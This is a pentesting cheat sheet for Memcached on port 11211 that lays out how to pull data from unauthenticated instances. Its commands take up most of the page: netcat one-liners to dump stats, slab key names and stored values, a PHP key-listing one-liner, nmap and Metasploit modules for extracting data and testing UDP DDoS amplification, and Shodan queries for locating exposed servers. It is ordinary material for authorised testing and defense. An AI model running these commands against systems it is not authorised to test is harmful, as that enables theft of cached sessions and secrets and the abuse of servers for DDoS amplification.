11211 - Pentesting Memcache

Protocol Information

Memcached pronunciation: mem-cashed, mem-cash-dee is a general-purpose distributed memory caching system. It is often used to speed up dynamic database-driven websites by caching data and objects in RAM to reduce the number of times an external data source such as a database or API must be read. From [wikipedia](https://en.wikipedia.org/wiki/Memcached)
Although Memcached supports SASL, most instances are exposed without authentication.

Default port: 11211

PORT      STATE SERVICE
11211/tcp open  unknown

Enumeration

Manual

To ex-filtrate all the information saved inside a memcache instance you need to:

Find slabs with active items
Get the key names of the slabs detected before
Ex-filtrate the saved data by getting the key names

Remember that this service is just a cache, so data may be appearing and disappearing.

echo "version" | nc -vn <IP> 11211      #Get version
echo "stats" | nc -vn <IP> 11211        #Get status
echo "stats slabs" | nc -vn <IP> 11211  #Get slabs
echo "stats items" | nc -vn <IP> 11211  #Get items of slabs with info
echo "stats cachedump <number> 0" | nc -vn <IP> 11211  #Get key names
echo "get <item_name>" | nc -vn <IP> 11211  #Get saved info

#This php will just dump the keys, you need to use "get <item_name> later"
sudo apt-get install php-memcached
php -r '$c = new Memcached(); $c->addServer("localhost", 11211); var_dump( $c->getAllKeys() );'

Automatic

nmap -n -sV --script memcached-info -p 11211 <IP>   #Just gather info
msf > use auxiliary/gather/memcached_extractor      #Extracts saved data
msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplification attack is possible

Shodan

port:11211 "STAT pid"
"STAT pid"

1.9 KiB Raw Blame History